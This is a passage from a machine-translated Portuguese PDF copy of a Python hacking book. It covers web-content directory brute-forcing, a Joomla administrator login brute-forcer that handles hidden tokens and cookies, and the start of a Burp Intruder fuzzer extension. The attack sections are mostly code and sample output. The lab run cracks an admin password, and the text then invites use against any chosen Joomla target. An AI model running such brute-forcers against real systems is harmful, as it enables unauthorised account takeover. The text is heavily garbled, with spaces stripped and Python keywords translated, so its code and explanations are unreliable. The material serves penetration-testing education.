possvel.Noentanto,emmuitoscasos,existemarquivosdeconfigurao,arquivosdedesenvolvimentodesobra,
depurarscriptseoutrosfarinhaderoscadeseguranaquepodemfornecerinformaessensveisouexponham
funcionalidadequeodesenvolvedordesoftwarenotinhaainteno.Anicamaneiradedescobrirestecontedo
usarumaferramentadeforarbrutaparacaarnomesdearquivosediretrioscomuns.
Nsvamosconstruirumaferramentasimplesqueiraceitarlistasdepalavrasdeforadoresbrutacomuns,comoaDirBuster
[11]
projecto[10]ouSVNDigger,etentativadedescobrirdiretriosearquivosquesoacessveisno
alvoservidorweb.Comoantes,vamoscriarumpooldethreadsparatentaragressivamenteparadescobrir
contedo.Vamoscomearcriandoalgumasfuncionalidadesparacriarumafiladeforadeumarquivodelistadepalavras.Abrirum
novoarquivo,onomedelecontent_bruter.py,einsiraoseguintecdigo:
urllib2deimportao
rosqueamentodeimportao
Filadeimportao
urllibimportao

tpicos =50
AlvoURL ="Http://testphp.vulnweb.com"
wordlist_file="/tmp/all.txt"#deSVNDigger
currculo =None
agentedeusurio
="Mozilla/5.0(X11x86_64Linuxrv:19,0)Gecko/20100101
Firefox/19.0"

build_wordlistdef(wordlist_file):

#Lernalistadepalavras
fd=open(wordlist_file,"rb")
raw_wordsfd.readlines=()

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 42/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
fd.close()

found_resume=False
palavras =Queue.Queue()


porpalavraemraw_words:

word=word.rstrip()

SecurrculonoNone:

sefound_resume:
words.put(palavra)
outro:
seapalavra==currculo:
found_resume=True
print"Retomaralistadepalavrasapartirde:%s"%currculo
outro:
words.put(palavra)

retornarpalavras

Essafunoauxiliarbastantesimples.Lemosemumarquivodelistadepalavraseentocomearaiterao
sobrecadalinhanoarquivo.Temosalgumasfuncionalidadesbuiltinquenospermiteretomarumabrute
forandosessoseanossaconectividadederedeforinterrompidaouositededestinovaiparabaixo.Istopodeser
alcanadosimplesmentedefinindoocurrculovarivelparaoltimocaminhoqueoforcerbrutatentado.Quandoo

arquivointeirofoianalisado,voltamosaQueuecheiodepalavrasparausaremnossorealbruteforcing
funo.Vamosreutilizarestafunomaisadiantenestecaptulo.
Queremosalgumasfuncionalidadesbsicasparaestardisponvelparaonossoscriptforandobruta.Oprimeiroacapacidadede
aplicarumalistadeextensesparatestaraofazersolicitaes.Emalgunscasos,vocquisertentarnosa
/admindiretamenteparaoexemplo,masadmin.php,admin.inc,eadmin.html.
dir_bruterdef(word_queue,extenses=None):

enquantonoword_queue.empty():
tentativa=word_queue.get()

attempt_list=[]

#Verificarparaversehumaextensodearquivoseno,
#umcaminhodediretrioqueestamosbruting
Ese"."noemtentativa:

attempt_list.append("/%s
/"%tentativa)
outro:
attempt_list.append("/%s"%tentativa)

#SequeremosBruteforceextenses


seasextenses:
paraaextensoemextenses:
attempt_list.append("/%s%s"%(tentativa,extenso))

#Iteratesobreanossalistadetentativas
parabrutaemattempt_list:

url="%s%s"%(target_url,urllib.quote(bruta))

experimentar:
cabealhos={}
headers["UserAgent"]=user_agent
r=urllib2.Request(url,headers=cabealhos)

response=urllib2.urlopen(r)

iflen(response.read()):
print"[%d]=>%s"%(response.code,url)

exceptourllib2.URLError,e:

sehasattr(e,'code')ee.code=404!:
print"!!!%d=>%s"%(e.code,url)

passar

Nossadir_bruterfunoaceitaumafiladeobjetoquepreenchidocomaspalavrasausarparabrute
forandoeumalistaopcionaldeextensesdearquivoparatestar.Comeamosportestesparaversehumarquivo
extensonapalavraatual,esenohouver,nstratlocomoumdiretrioquequeremosparatestar
noservidorwebremoto.Sehouverumalistadeextensesdearquivopassados em,entotomamosacorrente

palavraeaplicarcadaextensodearquivoquequeremostestar.Podesertilaquiparapensaremusar
extensescomo.origebaknotopodasextensesregulareslinguagemdeprogramao.Depoisnsconstrumos
umalistadetentativasdeforandobruta,vamosdefiniroUserAgentcabealhoparaalgoincuoetestaro
servidorwebremoto.Seocdigoderespostaum200,queasadadoURL,eserecebernada
masa404nstambmsadadeleporqueissopodeindicaralgointeressantenawebremoto
servidoralmdeumerro"arquivonoencontrado".
tilparaprestaratenoereagirsuasada,porque,dependendodaconfiguraodo
servidorwebremoto,vocpodeterquefiltrarmaiscdigosdeerroHTTP,afimdelimparoseu

resultados.Vamosterminaroroteiroatravsdacriaodenossalistadepalavras,criandoumalistadeextenses,efiao
osfiosforandobruta.
word_queue=build_wordlist(wordlist_file)
extenses=[".php",".bak",".orig",".inc"]

foriinrange(threads):
t=threading.Thread(target=dir_bruter,args=(word_queue,extenses,))
t.start()

Ofragmentodecdigoacimabastantesimplesedeveserfamiliaratagora.Nscomeamosnossalistade
palavrasaforabruta,criarumasimpleslistadeextensesdearquivoparatestar,edepoisgirarumgrupode
tpicosparafazerobruteforcing.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 43/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Chutarospneus
OWASPtemumalistadeonlineeoffline(mquinasvirtuais,ISOs,etc.)aplicaeswebvulnerveis
quevocpodetestaroseuferramentalcontra.Nestecaso,oURLquereferenciadonospontosdecdigofonte
aumaaplicaowebintencionalmentedebuggyhospedadoporAcunetix.Olegalqueelemostracomo
efetivaforandobruteumaaplicaowebpodeser.EurecomendoquevocdefinaoTHREAD_COUNTvarivelpara
algostaiscomo5eexecutaroscript.Empoucotempo,vocdevecomearaverresultados,comoo
aquelesabaixo:
[200]=>http://testphp.vulnweb.com/CVS/
[200]=>http://testphp.vulnweb.com/admin/
[200]=>http://testphp.vulnweb.com/index.bak
[200]=>http://testphp.vulnweb.com/search.php
[200]=>http://testphp.vulnweb.com/login.php
[200]=>http://testphp.vulnweb.com/images/
[200]=>http://testphp.vulnweb.com/index.php
[200]=>http://testphp.vulnweb.com/logout.php
[200]=>http://testphp.vulnweb.com/categories.php

Vocpodeverqueestamospuxandoalgunsresultadosinteressantesapartirdositeremoto.Eunopossoforar
bastanteaimportnciaderealizarbrutaforandoocontedocontratodasassuasmetasdeaplicaoweb.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 44/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

BruteForandoaautenticaodeformulrioHTML
Podechegarummomentoemsuacarreirahackerwebondevocprecisasequerteracessoaumalvo,
ousevocestconsultando,podesernecessrioparaavaliaraforadasenhaemumsistemawebexistente.isto
tornousemaisemaiscomumparasistemaswebparaterproteodeforabruta,seum
captcha,umaequaomatemticasimples,ouumtokendeautenticaoquedeveserapresentadocomopedido.Existem
nmerodeforadoresbrutaquepodefazerobruteforcingdeumpedidoPOSTaologinscript,masemummonte
doscasos,elesnosoflexveisosuficienteparalidarcomcontedodinmicooulidarcomsimples"Vochumano"
Verificaes.VamoscriarumforcerbrutasimplesquevaisertilcontraJoomla,umcontedopopular
Sistemadegesto.sistemasJoomlamodernasincluemalgumastcnicasbsicasdeantiforabruta,masainda
bloqueiosdecontaafaltaoufortescaptchasporpadro.
AfimdebruteforceJoomla,temosdoisrequisitosqueprecisamseratendidos:recuperarotokendelogin
doformulriodeloginantesdeenviaratentativadesenhaegarantirqueaceitarcookiesnonosso
urllib2sesso.Nofimdeanalisarforaasdelogindeformulriovalores,vamosusaronativoPythonclasse
HTMLParser.Istovaitambmserumaboaturbilhoturndealgunsadicionaiscaractersticasdeurllib2que
vocpodeempregarnaconstruodeferramentasparaosseusprpriosobjectivos.Vamoscomearporterumolharparao
Joomlaformulriodelogindeadministrador.Istopodeserencontradonavegandoat
http://<yourtarget>.com/administrador/.Paraobemdabrevidade,eunicaincludoorelevante
elementosdeformulrio.
<Formaction="/administrador/index.php"method="post"id="formlogin"
class="forminline">

<Inputname="username"tabindex="1"id="modloginnomedeusurio"type="text"
class=espaoreservado="NomedeUsurio"tamanho"deentradademdia"="15"/>

<Inputname="passwd"tabindex="2"id=type"modloginsenha"="password"
class=espaoreservado="Password"tamanho"deentradademdia"="15"/>

<Selectid="lang"name="lang"class="inputboxadvancedSelect">
<Optionvalue=""selected="selected">IdiomaPadro</option>
<Optionvalue="ENGB">Ingls(ReinoUnido)</option>
</Select>

<Inputtype="hidden"name=valor"opo"="com_login"/>
<Inputtype="hidden"name=value"tarefa"="login"/>
<Inputtype="hidden"name=valor"retorno"="aW5kZXgucGhw"/>
<Inputtype="hidden"name=value"1796bae450f8430ba0d2de1656f3e0ec"="1"/>

</Form>

Leituraatravsdesteformulrio,estamosapardealgumasinformaesvaliosasquevamosprecisarparaincorporar
emnossaforcerbruta.Aprimeiraqueaformaficasubmetidoao/administrator/index.php
caminhocomoumHTTPPOST.Oprximosotodososcamposnecessriosparaqueoenviodoformulrioparaser
bemsucedido.Emparticular,sevocolharparaoltimocampooculto,vocverqueseuatributonomedefinidacomoum
longo,cordarandomizado.EstaaparteessencialdatcnicadeantiforandobrutadoJoomla.que
cadeiarandomizadoverificadoemrelaoasuasessoatualdousurio,armazenadoemumcookie,emesmosevocestiver
passarascredenciaiscorrectasparaoroteirodeprocessamentodelogin,seosinalaleatrionoestpresente,
aautenticaoirfalhar.Issosignificaquetemosdeusaroseguintefluxodesolicitaoemnossaforcerbruta
afimdeserbemsucedidacontraJoomla:
1.Recupereapginadelogin,eaceitartodososcookiesquesodevolvidos.
2.AnaliseatodososelementosdoformulriodoHTML.
3.Definaonomedeusurioe/ousenhaparaasuposiodenossodicionrio.
4.EnviarumHTTPPOSTparaoscriptdeprocessamentodelogin,incluindotodososcamposdoformulrioHTMLenossa
cookiesarmazenados.
5.Testeparaversetemosregistradocomsucessonoaplicativoweb.
Vocpodeverquevamosestarutilizandoalgumasnovasevaliosastcnicasnestescript.euvou
tambmmencionarquevocnuncadeve"treinar"oseuferramentalemumalvovivosempreconfigurarumainstalao
desuaaplicaowebalvocomcredenciaisconhecidoseverificarsevocobterosresultadosdesejados.
VamosabrirumnovoarquivodePythonchamadojoomla_killer.pyeinsiraoseguintecdigo:
urllib2deimportao
urllibimportao
cookielibimportao
rosqueamentodeimportao
sysimportao
Filadeimportao

deHTMLParserHTMLParserimportao

#ConfiguraesGerais
user_thread =10
nomedeusurio="Admin"
wordlist_file="/tmp/cain.txt"
currculo =None

#configuraesespecficasalvo
target_url ="Http://192.168.112.131/administrator/index.php"
target_post ="Http://192.168.112.131/administrator/index.php"

username_field="username"
password_field="passwd"

success_check="AdministraoControlePanel"

Essasconfiguraesgeraismerecemumpoucodeexplicao.Otarget_urlvarivelondenossoscript
vaiprimeirofazerodownloadeanalisaroHTML.Otarget_postvarivelondevamosapresentaranossa
bruteforcingtentativa.CombaseemnossabreveanlisedoHTMLnologindoJoomla,podemosdefiniro
username_fieldepassword_fieldvariveis paraoapropriadonomedeasHTMLelementos.

Nossasuccess_checkvarivelumacadeiaquevamosverificardepoisdecadatentativa,forandobrutaem
Paradeterminarseformosbemsucedidosouno.Vamosagoracriaroencanamentoparaonossobruta
forceralgunsdososeguintecdigoserfamiliar,entoeusvoudestacarasmaisrecentestcnicas.
classeBruter(objeto):
def__init__(self,nomedeutilizador,palavras):

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 45/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
self.username=username
self.password_q=palavras
self.found=False

imprimir"terminardeconfigurarpara:%s"%username

run_bruteforcedef(self):

foriinrange(user_thread):
t=threading.Thread(target=self.web_bruter)
t.start()

web_bruterdef(self):

enquantonoself.password_q.empty()enoself.found:
bruta=self.password_q.get().RSTRIP()
jar=cookielib.FileCookieJar("cookies")
abridor=urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))

response=opener.open(target_url)

page=response.read()

print"Tentando:%s:%s(%desquerda)"%(self.username,bruto,auto.
password_q.qsize())

#Analisaroscamposocultos


analisadorBruteParser=()
parser.feed(pgina)

post_tags=parser.tag_results

#Adicionarnossoscamposusernameepassword
post_tags[username_field]=self.username
post_tags[password_field]=bruta

login_data=urllib.urlencode(post_tags)
login_response=opener.open(target_post,login_data)

login_resultlogin_response.read=()

sesuccess_checkemlogin_result:
self.found=True
print"[*]Bruteforcebemsucedido."
print"[*]Nomedeusurio:%s"%username
print"[*]Senha:%s"%bruta
print"[*]Esperandoporoutrossegmentosparasair..."

Estaanossaclasseforandobrutaprimria,quevailidarcomtodasassolicitaesHTTPegerenciar
biscoitosparans.Depoisqueagarraranossatentativadesenha,montamosnossopotedebiscoitosusandoo
FileCookieJarclassequeirarmazenarosbiscoitosemobiscoitosarquivo.Emseguidavamosiniciaronossourllib2
abridor,passandonabotijainicializado,quedizurllib2fazerpassaroscookiesparaele.Ns
emseguida,fazeropedidoinicialpararecuperaroformulriodelogin.QuandotemosoHTMLpuro,nspasslo
paraonossoanalisadorHTMLechamarasuaalimentaomtodo,queretornaumdicionriodetodasasrecuperado
elementosdeformulrio.DepoisdetermosanalisadocomxitoocdigoHTML,podemossubstituironomedeusurioesenha
camposcomnossatentativaforandobruta.EmseguidansURLcodificarasvariveis P OST,edepoispass

losnossasolicitaoHTTPsubsequente.Depoisquerecuperaroresultadodanossatentativadeautenticao,ns
testarseaautenticaofoibemsucedidaouno.AgoravamosimplementaroncleodonossoHTML
emprocessamento.Adicioneaseguinteclasseaoseujoomla_killer.pyscript:
classeBruteParser(HTMLParser):
def__init__(self):
HTMLParser.__oinit__(self)
self.tag_results={}

handle_starttagdef(auto,tag,attrs):


setag=="input":
tag_name=None
tag_value=None
paraonome,valornoattrs:
seonome=="name":
tag_name=valor
seonome=="valor":
tag_value=valor

setag_namenoNone:
self.tag_results[tag_name]=valor

EstaconstituiaclassedeanliseHTMLespecficaquequeremosusarcontraonossoalvo.Depoisdetero
noesbsicasdeutilizaodoHTMLParserclasse,vocpodeadaptloparaextrairinformaesapartirdequalquerweb
aplicativoquevocpodeestaratacando.Aprimeiracoisaquefazemoscriarumdicionrioemqueanossa

resultadosserarmazenado.Quandochamamosaalimentaofuno,elepassaemtodoodocumentoHTMLe
nossahandle_starttagfunochamadasemprequeumatagsejaencontrada.Emparticular,nsestamosolhando
paraHTMLdeentradamarcasenossoprocessamentoprincipalocorrequandodeterminamosqueencontramosum.
Comeamosaiteraosobreosatributosdamarca,eseencontraronomeouovaloratributos,ns
associlosnatag_resultsdicionrio.ApsoHTMLfoiprocessado,onossobrute
classeforandopode,ento,substituiroscamposnomedeusurioesenha,deixandoorestantedo
camposintactos.

HTMLPARSER101
ExistemtrsmtodosprincipaisquevocpodeimplementaraousaroHTMLParserclasse:handle_starttag,handle_endtage
handle_data.Thehandle_starttagfunctionwillbecalledanytimeanopeningHTMLtagisencountered,andtheoppositeistrue
paraohandle_endtagfuno,quechamadocadavezqueumatagHTMLfechamentoencontrado.Ohandle_datafunoobtm
chamadoquandohumtextoembrutoentretags.Osprottiposdefunesparacadafunosoligeiramentediferentes,comosesegue:
handle_starttag(self,tag,atributos)
handle_endttag(self,tag)
handle_data(self,dedados)

Umexemplorpidoparadestacaroseguinte:
<Title>Pythonrochas!</Title>

handle_starttag=>tagvarivelseria"ttulo"

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 46/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
handle_data =>Variveldedadosseria"Pythonrocks!"
handle_endtag =>Tagvarivelseria"ttulo"
ComesteentendimentobsicodoHTMLParserclasse,vocpodefazercoisascomoformasdeanlise,encontrarligaesparaspidering,extrairtodos
otextopuroparafinsdemineraodedados,ouencontrartodasasimagensemumapgina.

ParaencerrarnossaforcerJoomlabruta,vamoscopiarecolarobuild_wordlistfunodonossoanterior
seoeadicioneoseguintecdigo:
#Colarafunobuild_wordlistaqui

palavras=build_wordlist(wordlist_file)

bruter_obj=Bruter(nomedeutilizador,palavras)
bruter_obj.run_bruteforce()

issoa!NssimplesmentepassaronomedeusurioeanossalistadepalavrasparaanossaBruterclasseeveramgica
acontecer.

Chutarospneus
SevocnotemJoomlainstaladoemseuKaliVM,entovocdeveinstalloagora.OmeuobjectivoVM
no192.168.112.131eestouusandoumalistadepalavrasfornecidaporCaimeAbel,[12]umbrutepopulares
forandoerachadurasconjuntodeferramentas.Jpredefinironomedeusurioparaadministradoreasenhaparajustin
nainstalaodoJoomlaparaqueeupossatercertezaquefunciona.Euadicioneientojustinaocain.txtlistadepalavras
apresentarcercade50entradasoumaisparabaixooarquivo.Aoexecutaroscript,receboaseguintesada:
$Python2.7joomla_killer.py
definioterminoupor:admin
Tentando:admin:0racl38(306.697esquerda)
Tentando:admin:!@#$%(306.697esquerda)
Tentando:admin:!@#$%^(306.697esquerda)
Snip
Tentando:admin:1p2o3i(306.659esquerda)
Tentando:admin:1qw23e(306657esquerda)
Tentando:admin:1q2w3e(306656esquerda)
Tentando:admin:1sanjose(306.655esquerda)
Tentando:admin:2(306655esquerda)
Tentando:admin:justin(306.655esquerda)
Tentando:admin:2112(306646esquerda)
[*]Bruteforcebemsucedida.
[*]Nomedeusurio:admin
[*]Senha:justin
[*]Esperandoporoutrossegmentosparasair...
Tentando:admin:249(306646esquerda)
Tentando:admin:2welcome(306646esquerda)

VocpodeverquecomsucessoBrutoforaseefetualoginnoconsoledoadministradordoJoomla.Para
verificar,vocnaturalmenteirialogmanualmenteecertifiquese.Depoisdetestarissolocalmenteevocest
certodequeelefunciona,vocpodeusarestaferramentacontraumainstalaodoJoomladesuaescolhadedestino.

[10] DirBusterProjeto:https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project

[11] SVNDiggerProjeto:https://www.mavitunasecurity.com/blog/svndiggerbetterlistsforforcedbrowsing/

[12] CaimeAbel:http://www.oxid.it/cain.html

Captulo6.EstendendoBurpProxy
Sevocjtentoucortarumaaplicaoweb,vocjdeveterusadoarrotoSuiteparaexecutarspidering,
otrfegodonavegadorproxy,erealizaroutrosataques.AsversesrecentesdoarrotoSuiteincluemacapacidadede

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 47/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
adicioneseuprprioferramental,chamadoExtensions,paraarrotar.UsandoPython,RubyouJavapura,vocpodeadicionar
painisnoBurpGUIeconstruirtcnicasdeautomaoparaBurpSuite.Nsvamostomar
vantagemdestacaractersticaeadicionaralgumferramentaltilparaarrotarpararealizarataqueseestendida
reconhecimento.AprimeiraextensovainospermitirutilizarumasolicitaoHTTPinterceptadodoBurp
ProxycomoumasementeparaacriaodeumfuzzermutaoquepodeserexecutadoemBurpIntruder.Asegundaextenso
irinteragircomaAPIMicrosoftBingparanosmostrartodososhostsvirtuaislocalizadosnomesmoendereoIP
comonossolocalalvo,bemcomotodosossubdomniosdetectadosparaodomnioalvo.
Euestouindosuporquevocjjogoucomarrotoantesequevocsabecomoapedidosarmadilha
comaferramentaProxy,bemcomoaformadeenviarumpedidodepresoparaarrotarIntruder.Sevocprecisadeumtutorial
sobrecomofazeressastarefas,visitePortSwiggerWebSecurity(http://www.portswigger.net/)paraobter
comeou.
Eutenhoqueadmitirque,quandoeucomeceiaexploraraAPIBurpExtender,elemelevoualgumastentativasde
entendercomofuncionava.Euacheiqueeraumpoucoconfuso,comoeusouumcaradePythonpuroeterJavalimitado
experinciaemdesenvolvimento.Maseudescobriumasriedeextensesnositedoarrotoquemedeixavercomo
outraspessoastinhamdesenvolvidoextenses,eeuuseiqueaarteantesdemeajudaraentendercomocomear
implementaromeuprpriocdigo.Euestouindoparacobriralgumasnoesbsicassobreaextensofuncionalidade,maseuvoutambm
mostrarlhecomousaradocumentaodaAPIcomoumguiaparaodesenvolvimentodesuasprpriasextenses.

Configurando
Primeiro,baixearrotodehttp://www.portswigger.net/eobtloprontoparair.Totristecomoissomefaz
aadmitirisso,vocvainecessitardeumainstalaoJavamoderna,quetodosossistemasoperacionaisquerter
pacotesouinstaladorespara.OprximopassopegaroJython(umaimplementaoPythonescritoem
Java)arquivoJARautnomovamosapontarBurpaisso.VocpodeencontrarestearquivoJARnositeNoStarch
juntamentecomorestodocdigodolivro(http://www.nostarch.com/blackhatpython/)ouvisiteo
siteoficial,http://www.jython.org/downloads.htmleselecioneoJython2.7StandaloneInstaller.
NosedeixeenganarpelonomeapenasumarquivoJAR.SalveoarquivoJARparaumlocalfcildelembrar,
talcomooseuDesktop.
Emseguida,abraumterminaldelinhadecomandoeexecutarBurpassim:
#>JavaXX:MaxPermSize=1Gjarburpsuite_pro_v1.6.jar

Issovaificararrotoaofogoparacimaevocdeveversuainterfacecompletadeguiasmaravilhosos,comomostradonaFigura61.
AgoraBurppontodedeixaremnossointrpreteJython.CliquenoExtenderguia,ecliquenasopes
guia.NaseoPythonAmbiente,selecioneolocaldoseuarquivoJARJython,comomostradona
Figura62.
Vocpodedeixarorestodasopessozinho,edevemosestarprontosparainiciaracodificaonossaprimeiraextenso.
Vamosficardebalano!

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 48/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Figura61.ArrotoSuiteGUIcarregadocorretamente

Figura62.ConfigurandoolocalinterpretadorJython

arrotoFuzzing
Emalgummomentodesuacarreira,vocpodeencontrarseatacarumaaplicaowebouserviowebque
nopermitequevocuseferramentasdeavaliaodeaplicaeswebtradicionais.Setrabalharcomum
protocolobinrioacondicionadadentrodetrfegoHTTPousolicitaesJSONcomplexas,fundamentalquevoc
capazdetestarparaerrosdeaplicaeswebtradicionais.Oaplicativopodeestarusandomuitosparmetros,
ouofuscadodealgummodoquearealizaodeumtestemanuallevariatempodemais.eutambmtenho
sidoculpadodeexecutarferramentaspadroquenosoprojetadosparalidarcomprotocolosdeestranhosoumesmo
JSON,emmuitosdoscasos.Esteemquetilparasercapazdeaproveitararrotoparaestabelecerumslido
linhadebasedetrfegoHTTP,incluindobiscoitosdeautenticao,aopassarforadocorpodopedido
aumfuzzerpersonalizadoquepodeentomanipularacargatilemqualquermaneiraquevocescolher.Estamosindoparaotrabalho
emnossaprimeiraextensoBurpparacriarmaissimplesfuzzeraplicaowebdomundo,quevocpodeento
expandiremalgomaisinteligente.
Arrototemumasriedeferramentasquevocpodeusarquandovocestrealizandotestesdeaplicaoweb.Tipicamente,
vocvaiarmadilhatodasassolicitaesusandooProxy,equandovocvuminteressantepassadopedidoir,vocvaienviar
loparaoutraferramentaBurp.UmatcnicacomumqueeuusoparaenvilosparaaferramentaRepeater,quemepermite
trfegowebderepetio,bemcomomodificarmanualmentetodosospontosinteressantes.Paraexecutarmaisautomatizado
ataquesemparmetrosdeconsulta,vocvaienviarumpedidoparaaferramentaIntruder,quetenta
determinarautomaticamentequaisreasdotrfegodawebdevesermodificado,emseguida,permitequevocuse
umavariedadedeataquesparatentarprovocarmensagensdeerrooudestrincharvulnerabilidades.Umaextensodearrotopode
interagirdediversasformascomasutedeferramentasdearroto,enonossocasonsestaremostrancandoadicional
funcionalidadeparaaferramentadeIntruderdiretamente.
MeuprimeiroinstintonaturalparadarumaolhadanadocumentaodoBurpAPIparadeterminaroqueBurp

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 49/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
classesIprecisaestenderafimdeescreveraminhaextensopersonalizada.Podeacederaestadocumentaopormeio
clicandonoExtenderabaeentoaAPIsguia.Issopodeparecerumpoucoassustadorporqueparece(e
)muitoJavay.AprimeiracoisaquenotamosqueosdesenvolvedoresdoBurpterapropriadamentechamadocadaclasse
demodoquefcildedescobrirondequeremoscomear.Emparticular,porquensestamosolhandoparafuzzing
solicitaesdawebduranteumataqueIntruder,vejooIIntruderPayloadGeneratorFactorye
IIntruderPayloadGeneratorclasses.Vamostomarumaolhadanoqueadocumentaodizparao
IIntruderPayloadGeneratorFactoryclasse:
/**
*Asextensespodemimplementaressainterfaceedepoischamar
*IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory()
*AregistarumafbricaparacargasteisIntruderpersonalizado.
*/

IIntruderPayloadGeneratorFactoryinterfacepblica
{
/**
*Estemtodoutilizadoporarrotoobteronomedacargatil
*Gerador.Issoserexibidocomoumaopodentrodo
*UIIntruderquandoousurioselecionaausargeradoporextenso
*Cargasteis.

*
*returnOnomedogeradordecargatil.
*/


CordasgetGeneratorName()

/**
*EstemtodousadoporarrotoquandoousurioiniciaumIntruso
*Ataquequeusaestegeradordecargatil.

*@Paramataque
*UmobjetoIIntruderAttackquepodeserconsultadoparaobterdetalhes
*Sobreoataqueemqueogeradordecargavaiserusado.

*returnUmanovainstncia
*IIntruderPayloadGeneratorqueirserutilizadoparagerar
*Cargasteisparaoataque.
*/

IIntruderPayloadGeneratorcreateNewInstance(ataqueIIntruderAttack)
}

Oprimeirobitdadocumentaodiznosparaobteronossoramalregistradocorretamentecomoarroto.Estamos
vaiestenderaclasseprincipalarroto,bemcomooIIntruderPayloadGeneratorFactoryclasse.
Emseguida,vemosqueBurpestesperandoduasfunesparaestarpresentenanossaclasseprincipal.o
getGeneratorNamefunovaiserchamadopeloarrotopararecuperaronomedenossaextenso,ens
soesperadospararetornarumastring.OcreateNewInstancefunoesperaqueretornarumainstncia
doIIntruderPayloadGenerator,queserumasegundaclassequetemosquecriar.
AgoravamosimplementarocdigoPythonrealparaatenderaessesrequisitos,edepoisvamosvercomo
oIIntruderPayloadGeneratorclasseadicionado.AbraumnovoarquivoPython,nomelobhp_fuzzer.py,
eperfurarparaforaoseguintecdigo:
doarrotodeimportaoIBurpExtender
dearrotoIIntruderPayloadGeneratorFactoryimportao
dearrotoIIntruderPayloadGeneratorimportao
dalistadeimportaojava.util,ArrayList

importaoaleatria

classeBurpExtender(IBurpExtender,IIntruderPayloadGeneratorFactory):
registerExtenderCallbacksdef(self,chamadasderetorno):
self._callbacks=callbacks
self._helpers=()callbacks.getHelpers

callbacks.registerIntruderPayloadGeneratorFactory(self)

Retorna
defgetGeneratorName(self):
retornar"PayloadGeneratorBHP"

defcreateNewInstance(self,ataque):
voltarBHPFuzzer(self,ataque)

Portanto,esteosimplesesqueletodoqueprecisamosafimdesatisfazeroprimeiroconjuntoderequisitosparaonosso
extenso.TemosqueprimeiroimportaroIBurpExtenderclasse,oqueumrequisitoparatodosos
extensoqueescrevemos.NsacompanharestaimportandonossasclassesnecessriasparaacriaodeumIntruso
geradordecargatil.Emseguida,definimosanossaBurpExtenderclasse,queestendeaIBurpExtender
eIIntruderPayloadGeneratorFactoryclasses.Emseguida,usamoso
registerIntruderPayloadGeneratorFactoryfunopararegistaranossaclassedemodoqueoIntruder
ferramentaestcientedequepodemosgerarcargasteis.EmseguidavamosimplementaragetGeneratorNamefuno
parasimplesmenteretornaronomedenossogeradordepaycarga.OltimopassoacreateNewInstancefuno
querecebeoataqueparmetroeretornaumexemplodeoIIntruderPayloadGenerator
classe,quechamamosBHPFuzzer.
VamosdarumaolhadanadocumentaoparaoIIntruderPayloadGeneratorclassesabemosdoque
implementar.
/**

*EstainterfaceutilizadaparageradoresdecargatilIntruderpersonalizado.
*Extenses
*Queregistouum
*IIntruderPayloadGeneratorFactorydeveretornarumanovainstncia
*Estainterfacequandonecessrio,comopartedeumnovoataqueIntruder.
*/

IIntruderPayloadGeneratorinterfacepblica
{
/**
*Estemtodoutilizadoporarrotoparadeterminarseacargatil
*Geradorcapazdefornecerquaisqueroutrascargasteis.
*
*Extensesreturndeveretornar
*Falsaquandotodasascargasdisponveisforamesgotadas,

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 50/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
*Casocontrrioverdadeiro
*/
booleanhasMorePayloads()

/**
*Estemtodoutilizadoporarrotoparaobterovalordaprximacarga.
*
*@ParambaseValueOvalorbasedaposiodecargaatual.
*Estevalorpodesernuloseoconceitodeumvalorbaseno
*Aplicvel(porexemplo,emumataquedearete).
*returnAprximacargatilparausarnoataque.
*/
byte[]getNextPayload(byte[]baseValue)
/**
*Estemtodoutilizadoporarrotoparareporoestadodacargatil
*Geradordemodoqueaprximachamadapara
*GetNextPayload()retornaaprimeiracargatilnovamente.este
*Mtodoserinvocadoquandoumataqueusaamesmacargatil
*Geradorparamaisdoqueumaposiodecargatil,porexemplo,numa
*Ataquesniper.
*/
vazioreset()
}

OK!Porisso,precisamosdeimplementaraclassebaseeprecisaparaexportrsfunes.Oprimeiro
